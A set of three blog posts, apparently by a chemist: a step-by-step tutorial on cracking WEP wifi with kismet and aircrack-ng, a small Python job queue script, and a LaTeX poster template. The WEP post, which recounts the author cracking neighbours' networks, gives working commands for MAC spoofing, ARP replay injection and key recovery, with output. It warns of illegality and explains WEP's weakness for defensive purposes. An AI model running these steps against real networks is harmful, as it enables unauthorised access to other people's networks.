269. Your neighbours' WEP wifi and you

A few years ago when I was living in an apartment block mainly inhabited by university students I took to cracking the passwords to my neighbours' WEP 'protected' wifi networks whenever I got bored -- the cracking WEP doesn't require much either in terms of brain or brawn, so it's admittedly not much of an accomplishment.

I'm writing this based off of notes I wrote a long time ago to teach people in the lab how to do various 'interesting' things with computers. Partly because even as a chemist you need to be able to -- you encounter the odd computer with a windows password or bios password which has been forgotten with time, but which is in a critical role, e.g. controlling an expensive instrument. Also, a fair number of research groups run their own wireless networks, and a lot of group leaders are barely computer literate. My pet theory is that this explains why so many of my colleagues use Macintosh...

So here's how to deal with WEP. The legality of this isn't questionable -- it is illegal to hack OTHER people's networks in most jurisdictions.

But here's a thought -- set up your own network and crack it for fun.  Once you realise how easy it is you'll never look at WEP the same way again. You'll also understand why using a hidden SSID and MAC filtering doesn't do much to protect you.

 Also, you'll most likely realise a few things which you can do to make it a little bit more troublesome to hack a WEP network (eventually it'll fall -- as will of course WPA2, although that's often requires brute force cracking which can take anything from 1 s to millenia)

DON"T GET YOURSELF IN TROUBLE BY BREAKING THE LAW. Also, be nice to your neighbours.

Anyway, WEP.

You'll need aircrack-ng and you might want kismet.

---

Kismet is available in the repos

sudo apt-get install kismet

You will need to edit /etc/kismet/kismet.conf to set it up for your particular wireless card. I've got a Sabrent High-power wireless-N USB device with a nice little antenna:

Bus 002 Device 003: ID 148f:2870 Ralink Technology, Corp. RT2870 Wireless Adapter

So I put the following in my /etc/kismet/kismet.conf

source=rt73,wlan1,expt

Use kismet to snoop for WEP wifi's and then get lists of associate clients:

sudo kismet

Once you've started it, hit s to sort, and w to sort by wep/wpa. Select the network you're interested in and hit i for information and c for a list of attached clients (good to know if they have MAC based filtering). Capital Q exits.

Note that you don't really NEED kismet. It just happens to be a good tool, so if you're stuck with figuring out how to set it up, you can skip this section.

Anyway, I found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C). The AP is using channel 1.

---

You do need Aircrack-ng.

wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar xvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1/

Edit common.mak and change

70 CFLAGS          ?= -g -W -Wall -Werror -O3

to

70 CFLAGS          ?= -g -W -Wall -O3

Compile and install:

make

sudo make install

You might get a fair bit of errors about variables being set (e.g. ndiswrapper) but not used. No worries.

---

If you were using network-manager you would now turn it off:

sudo service network-manager stop

If you're using your wirless card (i.e. have it set up) there's a long list of other things which may need to be stopped:

ps aux|grep dhclient
ps aux|grep wpa_supplicant
sudo service wicd stop

sudo service avahi-daemon stop

But if you haven't configured you external USB card and you're not using network-manager you don't need to stop anything e.g. I only use my sabrent card for kismet and aircrack so I don't need to stop anything.

We need a directory to work in:

mkdir ~/airscan

cd ~/airscan

Time to set up your card in monitoring mode (wlan2 is my sabrent, wlan0 is my wicd-controlled internal laptop wifi):

sudo airmon-ng start wlan2

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e 
PID Name
2877 avahi-daemon
2878 avahi-daemon
4813 wpa_supplicant
4888 dhclient
Process with PID 4813 (wpa_supplicant) is running on interface wlan0
Process with PID 4888 (dhclient) is running on interface wlan0

Interface Chipset  Driver
wlan2  Ralink RT2870/3070 rt2800usb - [phy1]
    (monitor mode enabled on mon0)
wlan0  Unknown  iwlwifi - [phy0]

Check that there's a monX interface:

sudo ifconfig

mon0      Link encap:UNSPEC  HWaddr 00-0D-0A-53-19-XX-3A-30-00-00-00-00-00-00-00-00  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:238 errors:0 dropped:238 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:16279 (15.8 KiB)  TX bytes:0 (0.0 B

If you didn't use e.g. kismet above you can now scan the local environment using aireplay-ng (sudo aireplay-ng -9 mon0), although it often doesn't pick up all the networks which are accessible.

---

The attack

A. Anyway, using kismet we earlier found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C) and another with 00:13:E8:8E:46:XX (Intel). The AP is using channel 1.

sudo airodump-ng -c 1 --bssid 00:1D:92:16:XX:XX -w output mon0

If you get a message about the channel being fixed, then you failed to stop something earlier (e.g. dhclient, wpa_supplicant). If all went well you'll be looking at something like this:

 
CH  1 ][ Elapsed: 0 s ][ 2012-10-28 18:37                                        BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSI
00:1D:92:16:XX:XX  -76   0       30        7    1   1  54e  WEP  WEP             

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes        00:1D:92:16:XX:XX  00:13:E8:8E:46:XX  -77    2 -12e     1        5 

Important things here:
1. Make sure you're listening to the right channel (first row)
2. The MAC addresses listed under 'STATION' are connected clients. Good to know if you want to do mac spoofing.
3. The Data column is what you will want to keep your eyes on. These are the data packets which you're after and which will help you crack the WEP password.

In theory this is all you need to do, and you could just go away for an hour or two while you're passively collecting data. In most cases, you will want to speed things up, however.

B. To do that, in a second terminal run:

sudo aireplay-ng -1 0 -a 00:1D:92:16:XX:XX -h 00:13:E8:8E:46:XX mon0 --ignore-negative-one

The interface MAC (00:0D:0A:53:19:XX) doesn't match the specified MAC (-h).
 ifconfig mon0 hw ether 00:13:E8:8E:46:XX
18:39:40  Waiting for beacon frame (BSSID: 00:1D:92:16:XX:XX) on channel 1
18:39:40  Sending Authentication Request (Open System)
18:39:42  Sending Authentication Request (Open System)
18:39:44  Sending Authentication Request (Open System)
18:39:46  Sending Authentication Request (Open System)
18:39:48  Sending Authentication Request (Open System)
18:39:48  Authentication successful
18:39:48  Sending Association Request
18:39:48  Association successful :-) (AID: 1)

and in a third terminal doing

sudo aireplay-ng -3 -b 00:1D:92:16:XX:XX -h 00:13:E8:8E:46:XX mon0 --ignore-negative-one

The interface MAC (00:0D:0A:53:19:XX) doesn't match the specified MAC (-h).
 ifconfig mon0 hw ether 00:13:E8:8E:46:XX
18:53:56  Waiting for beacon frame (BSSID: 00:1D:92:16:XX:XX) on channel 1
Saving ARP requests in replay_arp-1028-185356.cap
You should also start airodump-ng to capture replies.
Read 16660 packets (got 3 ARP requests and 18 ACKs), sent 7334 packets...(500 pps)

To be honest I don't know what the effect of this is like on the user whose MAC you are spoofing. I tend to stir things up for five minutes, then stop, wait ten minutes, then another five minutes, and it works quite ok. Also, sometimes you get higher data rates when you're NOT trying to push it. Each network is a little bit different.

It should also now be obvious to you that filtering your wireless based on MAC really doesn't protect your network at all -- as soon as a client connects you've give a useable MAC address away. Same goes for hidden SSIDs. Your ONLY recourse is choosing a good password and not using WEP.

C. Once you've started capturing data (see A) you can start cracking:

In a fourth terminal run the following (and leave it running -- it'll preiodically re-run when there's enough new data)

sudo aircrack-ng -b 00:1D:92:16:XX:XX output*.cap

Aircrack-ng 1.1 r1892

[01:49:20] Tested 27854 keys (got 10135 IVs)

   KB    depth   byte(vote)
    0    0/ 24   6D(14592) A1(14592) D2(14592) 9E(14336) BA(14336) 26(14080) 13(13824) B4(13824) AE(13312) B2(13312) DF(13056) 
    1    3/  5   93(14080) CE(13568) 4C(13312) 7E(13312) 93(13312) E6(13312) 16(13056) BB(13056) E3(13056) F0(13056) 17(12800) 
    2    2/  3   67(15104) 57(13824) B8(13568) 22(13312) 4B(13312) B3(13312) EB(13312) 73(13056) 76(13056) C0(13056) D7(13056) 
    3    1/ 12   69(14848) 71(14592) 30(14592) 96(14080) A4(13568) 1D(13568) 35(13568) 8F(13312) B8(13056) E4(13056) 5F(13056) 
    4    4/  8   63(13824) 2E(13568) E6(13568) ED(13568) 80(13312) AD(13312) C6(13312) EC(13312) 1C(12800) 21(12800) 7A(12800) 

                     KEY FOUND! [ 6D:61:67:69:63 ] (ASCII: magic )
 Decrypted correctly: 100%

Typically you won't have much luck until you have 5-20k IVs. Sometimes that's quick and easy (I've cracked APs in 3-4 minutes), sometimes it's slow and cumbersome (can take hours doing passive snooping).

And that's how easy WEP is to break. Don't use it.

115. Very Simple Python Queue Manager

I suppose we can call it the VSPQM, which sounds a bit like a Roman initialism, akin to SPQR.

I've spent the past few days trying to get to grips with the Sun Gridengine (SGE) but have given up for now. While it seems capable, it's just overkill for my purposes, especially taking into account the difficulties in simply configuring it. It's a bit similar to my experience with OpenDX, a very capable plotting program, but which I couldn't make work to satisfaction in spite of being one of the lucky few in possession of the "Open DX -- Paths to Visualisation" book.

---

Long story short -- I wrote a small script in python. It
- reads a file, list, with the name of shell scripts
- the shell scripts, job1.sh..jobn.sh, are executed sequentially - when the execution of one script is finished, the next one is executed
- jobs can be added and removed from list during execution

It's a 'dumb' script -- it does not try to balance jobs across nodes or look for idle cpus/cores. It just executes one job after the other, and mark jobs as done after execution.

To test it:
create a file called list and put the following lines in it:

pi40.sh
pi400.sh
pi2000.sh

The scripts are the following:

pi40.sh

echo "pi to 40 decimals"
echo "scale=40; 4*a(1)" | bc -l -q
echo "done"

pi400.sh

echo "scale=400; 4*a(1)" | bc -l -q

pi200.sh

 echo "scale=2000; 4*a(1)" | bc -l -q

The python code for vspqm.py is below

I've aliased my vspqm (edit ~/.bashrc):

alias vspqm='/home/me/work/vspqm/vspqm.py'

Then sourced ~/.bashrc

Launch in the directory you keep your list file using

me@beryllium:~/work/vspqm/jobs$ vspqm list > log &
[1] 23925
me@beryllium:~/work/vspqm/jobs$ cat log

pi to 40 decimals
3.1415926535897932384626433832795028841968
done
3.141592653589793238462643383279502884197169399375105820974944592307\
[..]
3.141592653589793238462643383279502884197169399375105820974944592307\
81640628620899862803482534211706798214808651328230664709384460955058\
[..]

An nwchem example would be
list:

ac.sh
bn.sh

ac.sh:

cd acetone/
mpirun -n 4 nwchem ac.nw>ac.out
cd ../

bn.sh:

cd benzene/
mpirun -n 4 nwchem bn.nw>bn.out
cd ../

---

Our python queue manager (which we'll call vspqm.py and chmod +x to make executable) is below. Don't forget to change #!/usr/bin/python2.4 if necessary -- I use 2.4 on ROCKS and 2.7 on Debian testing/wheezy

#!/usr/bin/python2.4
# rudimentary queue manager. Handles a single node,
# submitting a series of jobs in sequence. use python v2.4-2.7
import os
import time
import sys
infile=sys.argv[1]
print "pyqm v 0.0.3"
def launchjob(job):
        i=0
        print "######"
        job=job.rstrip('\n')
     
        i=os.system("sh "+job)
        if i==0:
                print "Job successful"
        else:
                print "Job failed"
        print "######"
        return i
def remake_list(infile):
        qfile=open(infile,"w")
        bakfile=open(infile+".bak",'r')
        for i in bakfile:
                qfile.write(i)
        return 0
def rewind(infile):
        qfile=open(infile,"w")
        bakfile=open(infile+".bak",'r')
        for i in bakfile:
                qfile.write(i[1:])
        return 0
def get_next_job(infile):
        qfile=open(infile,"r")
        bakfile=open(infile+".bak",'w')
        lines=""
        job=""
        for line in qfile:
                if line[0]=="*":
                        print "Marked as done: ",line[1:]
                if line[0]!="*" and job=="":
                        print "Launching: ", line
                        job=line
                        line="*"+line
                lines+=line
        bakfile.write(lines)
        qfile.close
        bakfile.close
        return job
def main(infile):
        jobs=1
        while (jobs==1):
                newjob=get_next_job(infile)
                remake_list(infile)
                if newjob!="":
                        jobs=1
                        echojob=launchjob(newjob)
                else:
                        print "No more jobs found at "+str(time.asctime())    
                        jobs=0
        return 0

if __name__ == "__main__":
        main(infile)
        rewind(infile)

37. Making posters in latex

As a scientist you may have discovered how much less swearing occurs when writing articles in latex rather than MS Word or other What You See Isn't Quite What You Wanted  packages (WYSIQWYW -- I guess this is an acronym that won't be taking off anytime soon). The next step is to move from using powerpoint to make posters and presentations, to using latex.

It's never elegant to post the entire code in blog form, but what to do when you can't upload simple files?

The poster style is based on a theme by Rob J Hyndman and is an adapation of i6dv by David Vilar and edited by me.

Here's beamerthemeMyTheme.sty which you should put in the same folder as your post tex file:


\ProvidesPackage{beamerthemeMyTheme} % this style was created by Rob J Hyndman and is an adapation of i6dv by David Vilar. Edited by Someone Else

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%\selectcolormodel{cmyk}
\selectcolormodel{rgb}
\mode<presentation>

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% custom colors
%\definecolor{i6blue}{cmyk}{1,0.305,0,0.06}
\definecolor{i6bluedark}{rgb}{0.0156,0.2578,0.5625} 
\definecolor{i6colorscheme1}{HTML}{333333}  %333333 e.g. for block title
\definecolor{i6colorblockbg}{HTML}{555555}
\definecolor{i6colorblockfg}{HTML}{FFFFFF} %block title white
\definecolor{i6colorscheme2}{HTML}{000000}  % e.g. title in headline
\definecolor{i6colorscheme3}{HTML}{F0F0F0} % e.g. for poster background
\definecolor{i6colorscheme4}{HTML}{000000} 
\definecolor{i6colorschemeHeadline}{HTML}{000000}  % for headline bg
\definecolor{i6colorschemeFootline}{HTML}{101010}  % for headline bg

% headline colors and fonts
\setbeamercolor{headline}{fg=yellow,bg=i6colorschemeHeadline}
\setbeamercolor{title in headline}{fg=yellow}
\setbeamercolor{author in headline}{fg=white}
\setbeamercolor{institute in headline}{fg=lightgray}
\setbeamercolor{separation line}{bg=i6colorscheme1}

% footline colors and fonts
\setbeamercolor{footline}{fg=white,bg=i6colorschemeHeadline}
\setbeamerfont{footline}{fg=white, size=\normalsize}

% body colors and fonts
\setbeamercolor*{normal text}{fg=black,bg=i6colorscheme3}

% block environment
\setbeamercolor*{block body}{bg=white,fg=black}
\setbeamercolor*{block title}{fg=i6colorblockfg,bg=i6colorblockbg}
\setbeamerfont{block title}{size=\large,series=\bf}

% example environment
\setbeamercolor*{example title}{fg=white,bg=i6colorscheme1}
\setbeamerfont{example title}{size=\large,series=\bf,bg=i6colorscheme1,fg=white}

\setbeamercolor{alerted text}{fg=i6colorscheme1}

\setbeamertemplate{itemize items}[triangle]
\setbeamertemplate{navigation symbols}{}  % no navigation on a poster

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\setbeamertemplate{block begin}{
  \vskip0.5ex %space between boxes
  \begin{beamercolorbox}[rounded=true,shadow=true,leftskip=1ex,colsep*=0.5ex]{block title}%colsep - height block title, leftskip - title text indent
    \usebeamerfont*{block title}{\Large \insertblocktitle}
  \end{beamercolorbox}%
  {\ifbeamercolorempty[bg]{block body}{}{\nointerlineskip\vskip-0.5pt}}%space between head and block
  \usebeamerfont{block body}%
%  \begin{beamercolorbox}[rounded=true,shadow=true,colsep*=0.5ex,sep=0.5ex,vmode]{block body}%colsep, sep - vert margin top and bottom
  \begin{beamercolorbox}[rounded=true,shadow=true,colsep*=0.5ex,sep=0.5ex,vmode]{block body}%colsep, sep - vert margin top and bottom
   \ifbeamercolorempty[bg]{block body}{\vskip-.25ex}{\vskip-.5ex}\vbox{}%
  }
  \setbeamertemplate{block end}{
  \end{beamercolorbox}
}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\setbeamertemplate{headline}{  
  \leavevmode

  \begin{beamercolorbox}[wd=\paperwidth]{headline}
\centering
        \vskip4ex % height above text
        \usebeamercolor{title in headline}{\color{fg}\textbf{\LARGE{\inserttitle}}\\[1ex]}
        \usebeamercolor{author in headline}{\color{fg}\large{\insertauthor}\\[1ex]}
        \usebeamercolor{institute in headline}{\color{fg}\large{\insertinstitute}\\[1ex]}
  \end{beamercolorbox}

  \begin{beamercolorbox}[wd=\paperwidth]{lower separation line head}
    \rule{0pt}{2pt}
  \end{beamercolorbox}
}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\setbeamertemplate{footline}{
  \begin{beamercolorbox}[wd=\paperwidth]{upper separation line foot}
    \rule{0pt}{2pt}
  \end{beamercolorbox}
  
  \begin{beamercolorbox}[ht=5ex,leftskip=1cm,rightskip=1cm]{footline}% ht - thickness
    \hfill \raisebox{0.4cm}{\insertfooter} %raisebox - placement of text
    \vskip1ex
  \end{beamercolorbox}

  \begin{beamercolorbox}[wd=\paperwidth]{lower separation line foot}
    \rule{0pt}{0pt}
  \end{beamercolorbox}
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\mode<all>

\def\footer#1{\def\insertfooter{#1}}


and here's the poster.tex file:


\documentclass[final]{beamer}
\usetheme{MyTheme}
\usepackage[orientation=portrait,size=a1,scale=1.14,grid,debug]{beamerposter}
\usepackage[absolute,overlay]{textpos}
\setlength{\TPHorizModule}{1.0cm}
\setlength{\TPVertModule}{1.0cm}
\usepackage{ragged2e}
\usepackage{mhchem}
\usepackage{caption}
\captionsetup{labelformat=empty,labelsep=none}


\title{A hypothetical LaTeX poster}
\author{I Am Me\inst{*} \quad She S Someoneelsei\inst{\dag} \quad A. Third Party\inst{\dag}$^{,}$\inst{\ddag}}
\institute[School of Somethingorother]{
\inst{*}%
School of Somethingorother, My University \quad
\inst{\dag}%
Department of Haxx0r
\inst{\ddag}%
Department of 1337, UC Other
}
\footer{url: http://http://www.blogger.com/ \quad email: me@blogger.com}
\date{}

\begin{document}

\begin{textblock}{6}(0.6,0.6)
\includegraphics[height=4.0cm]{mylogo_light.eps}
\end{textblock}

\begin{textblock}{6}(54.9,0.6)
\includegraphics[height=4.0cm]{ucother_logo.eps}
\end{textblock}

\begin{frame}{} 
\begin{textblock}{28.5}(0.6,6.3)

\begin{block}{Introduction}
\justifying
\begin{center}\begin{minipage}{28cm}
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum gravida nisi eget lectus commodo luctus. Pellentesque vitae velit ligula. Nullam diam enim.[1,2]
\end{minipage}\end{center}
\begin{center}
\begin{figure}
\includegraphics[width=23.9cm]{screenshot.eps}
\caption{A caption for  \ce{[Fe4(H2O)8L9]^{-}}}
\end{figure}
\end{center}
\begin{center}\begin{minipage}{28cm}
Integer nec felis massa, ac tincidunt tellus. Phasellus ornare urna nec erat eleifend eu egestas arcu sodales. Cras interdum, lectus vitae ultricies rutrum, orci sapien bibendum orci, ut facilisis lectus velit at risus. Maecenas ut nisi mi. Praesent in nunc vitae justo ullamcorper placerat nec id lectus.  \ce{[[Fe4(H2O)8L9]^{-}} cluster[3]ante ipsum primis {\sc nmr}.[4]\\
\tiny{
\begin{enumerate}
\item G. Romanum, J. Eunt, G. Ite, F. Sum, \emph{A. Journal. Int. Ed.} \textbf{2011}, \emph{8}, 1943--1946.\\
\item A. Graecum, D. Hispanum, F. Molybdenum, R. Verum, H. Ipsum, P. J. Consectetur, G. Lectus, R. Ligula, M. Diam, \emph{Science} \textbf{2011}, \emph{323}, 13--17.
\item A. Graecum, D. Hispanum, F. Molybdenum, R. Verum, H. Ipsum, P. J. Consectetur, G. Lectus, R. Ligula, M. Diam, \emph{Science} \textbf{2011}, \emph{323}, 13--17.
\item A. Graecum, D. Hispanum, F. Molybdenum, R. Verum, H. Ipsum, P. J. Consectetur, G. Lectus, R. Ligula, M. Diam, \emph{Science} \textbf{2011}, \emph{323}, 13--17.
\end{enumerate} }
\end{minipage}\end{center}

\end{block}

\begin{block}{Experimental} \justifying

\begin{center}
\begin{figure}
\includegraphics[width=23.6cm]{screenshot.eps}
\caption{Another figure caption}
\end{figure}
\end{center}

\begin{center}\begin{minipage}{28cm}
Integer nec felis massa, ac tincidunt tellus. In eget lectus a ante hendrerit gravida ut a massa. Nam euismod nisi vel nulla suscipit fermentum. Quisque vel nulla nibh, at bibendum quam. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc tempor pretium blandit. Nulla vulputate odio quis tortor porttitor rhoncus. Vestibulum euismod purus non dolor pharetra non tempus diam pharetra. Nulla nec mauris vitae risus dapibus eleifend eget et ipsum. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec aliquam fringilla nulla, et ornare urna blandit id. In blandit lacinia massa quis tempus. Cras vel feugiat mi. Nullam risus nunc, aliquam non facilisis sit amet, condimentum id felis.  \end{minipage}\end{center}
\end{block}


\begin{block}{Data massage} \justifying
\begin{center}\begin{minipage}{28cm}
In eget lectus a ante hendrerit gravida ut a massa. Nam euismod nisi vel nulla suscipit fermentum. Quisque vel nulla nibh, at bibendum quam. Vestibulum ante ipsum primis in faucibus orci. In eget lectus a ante hendrerit gravida ut a massa. Nam euismod nisi vel nulla suscipit fermentum. Quisque vel nulla nibh, at bibendum quam. 

\end{minipage}\end{center}
\end{block}


\end{textblock}


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\begin{textblock}{28.5}(30,6.3)

\begin{block}{Data reduction} \justifying
\begin{center}\begin{minipage}{28cm}
 Donec aliquam fringilla nulla, et ornare urna blandit id. In blandit lacinia massa quis tempus. Cras vel feugiat mi. Nullam risus nunc, aliquam non facilisis sit amet, condimentum id felis.\end{minipage}\end{center}
 
\begin{table}
\begin{tabular}{c c}
\begin{minipage}{14cm} 
\begin{center}
\begin{figure}
\includegraphics[width=10.0cm]{adobe.eps}
\caption{A caption}
\end{figure}
\end{center}
\end{minipage} 
&
\begin{minipage}{14cm}
\begin{figure}
\includegraphics[width=10.0cm]{adobe.eps}
\caption{A caption.}
\end{figure}
\end{minipage}

\end{tabular} \end{table}  
\begin{center}\begin{minipage}{28cm}
Donec aliquam fringilla nulla, et ornare urna blandit id. In blandit lacinia massa quis tempus. Cras vel feugiat mi. Nullam risus nunc, aliquam non facilisis sit amet, condimentum id felis.\end{minipage}\end{center}  
 
\begin{center}
\begin{figure}
\includegraphics[width=12.6cm]{screenshot.eps}
\caption{Map of $\displaystyle \sum_{i}^{}(A(\lambda_{i})_{obs.}-A(\lambda_{i})_{calc.})^{2}$ as a function of pK$_{\textrm{a}}$s}
\end{figure}
\end{center}

\end{block}

\begin{block}{Fringilla nulla}
\justifying
Donec aliquam fringilla nulla, et ornare urna blandit id. In blandit lacinia massa quis tempus. Cras vel feugiat mi. Nullam risus nunc, aliquam non facilisis sit amet, condimentum id felis. $\displaystyle \frac{1}{T_{2r}}\approx\frac{C_{m}}{C_{aq}} \cdot k$:
\begin{eqnarray}
-\Delta H^{\ddag} \frac{1}{T} + \Delta S ^{\ddag}&=& R \cdot ln (\frac{\pi}{p_{m}}\frac{h}{k_{b}}\frac{1}{T}\Delta \nu) \nonumber
\end{eqnarray}

\begin{table}
\begin{tabular}{c c}
\begin{minipage}{14cm}
\begin{center}
\begin{figure}
\includegraphics[width=12.6cm]{screenshot.eps}
\caption{Observed $\Delta$H$^{\ddag}$ as a function of pH.}
\end{figure}
\end{center}
\end{minipage}
&
\begin{minipage}{14cm}
\begin{center}
\begin{figure}
\includegraphics[width=12.6cm]{screenshot.eps}
\caption{Observed $\Delta$S$^{\ddag}$ as a function of pH.}
\end{figure}
\end{center}
\end{minipage}
\end{tabular} \end{table}
\begin{center}\begin{minipage}{28cm}
 Ut ultrices ipsum vitae ipsum sagittis eget egestas dui interdum. 
\end{minipage}\end{center}
\end{block}

\begin{block}{Summary}
\begin{center}\begin{minipage}{28cm}
\begin{itemize}
\item Ut ultrices ipsum vitae ipsum sagittis eget egestas dui interdum. Phasellus nec nisl quam. 
\item Ut ultrices ipsum vitae ipsum sagittis eget egestas dui interdum. Phasellus nec nisl quam. 
\end{itemize}
\end{minipage}\end{center}
\end{block}

\begin{block}{Acknowledgements} \justify
\begin{center}\begin{minipage}{28cm}
Ut ultrices ipsum vitae ipsum sagittis eget egestas dui interdum. \\
Phasellus nec nisl quam. \\
\end{minipage}\end{center}
\end{block}


\end{textblock}
\end{frame}
\end{document}